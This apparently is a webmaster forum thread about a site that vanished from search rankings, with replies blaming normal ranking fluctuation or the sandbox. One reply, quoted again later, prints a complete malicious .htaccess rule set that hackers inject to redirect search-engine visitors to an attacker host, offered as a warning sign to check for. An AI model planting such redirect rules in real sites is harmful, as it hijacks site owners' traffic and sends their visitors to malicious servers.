Site suddenly sropped from search results

[pluto1]

My site has suddenly stopped appearing in the search results. This has been happening since last two days. Before that I was getting more than 90% traffic from search engines and had reasonable amount of traffic.

Any ideas why this suddenly started happening. Any suggestions?

[aaron_nimocks]

Could be the normal fluctuation. If it stays this way another week then you might want to start worrying.

[nettech]

Is it a new site?

Also, have you been engaging in some heavy link building? It seems like a Google dance which is quite normal, but if its an old established domain then you may have problems, otherwise I wouldnt worry too much, give it about a week!

[pluto1]

Domain is more than 2 yrs old, but I recently started posting on it. It was showing up pretty decently in the search results without me doing anything.

So, I started posting frequently on it some 2 weeks ago. The search results were impressive for that kind of effort. But suddenly, two days ago, it stopped showing on search results. Even though the links still show up when I search for sitename.com

[mloveridge17]

if the pages still show up in the search engine through a site:domain.com search, you're fine. just the "google dance" aka google split-testing their results. it should return to normal in a week or two.

[bluefoot]

Originally Posted by pluto1

My site has suddenly stopped appearing in the search results. This has been happening since last two days. Before that I was getting more than 90% traffic from search engines and had reasonable amount of traffic.

Any ideas why this suddenly started happening. Any suggestions?

Are you saying your sites are suddenly not ranking in the search engines or has traffic to your sites from search engines suddenly stopped?

If it's the later, check the .htaccess file for the sites. There may be code inserted by hackers in the file that hijacks your search engine traffic.

The malicious code will look something like this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://IP/in.cgi?4&parameter=sf [R,L]

[ShanghaiTours]

If it is a new site, you may fall into the sandbox.You can chek you log if the spider still visits your site but you don have any keywords ranking.

[pluto1]

Originally Posted by bluefoot

Are you saying your sites are suddenly not ranking in the search engines or has traffic to your sites from search engines suddenly stopped?

If it's the later, check the .htaccess file for the sites. There may be code inserted by hackers in the file that hijacks your search engine traffic.

The malicious code will look something like this:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*netscape.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*hotbot.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*goto.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*infoseek.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mamma.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*lycos.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*mail.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://IP/in.cgi?4&parameter=sf [R,L]

It is the first one. My sites are suddenly not ranking for my keywords since last 2 days. It was on the first page before that, and was sending more than 90% of organic search traffic.

I also checked for this malicious code in .htaccess file, but did not find anything like that.

[tjcocker]

Could be that the new posts pushed the older posts that were ranking off the homepage.

[parzlou]

I have a site that shows all pages indexed when I use... site:domain dotcom

it also shows all pages indexed when I use.... site:http://domain dotcom

but , when I use .... site:www.domain dotcom it show no documents found Why is that ?

thanks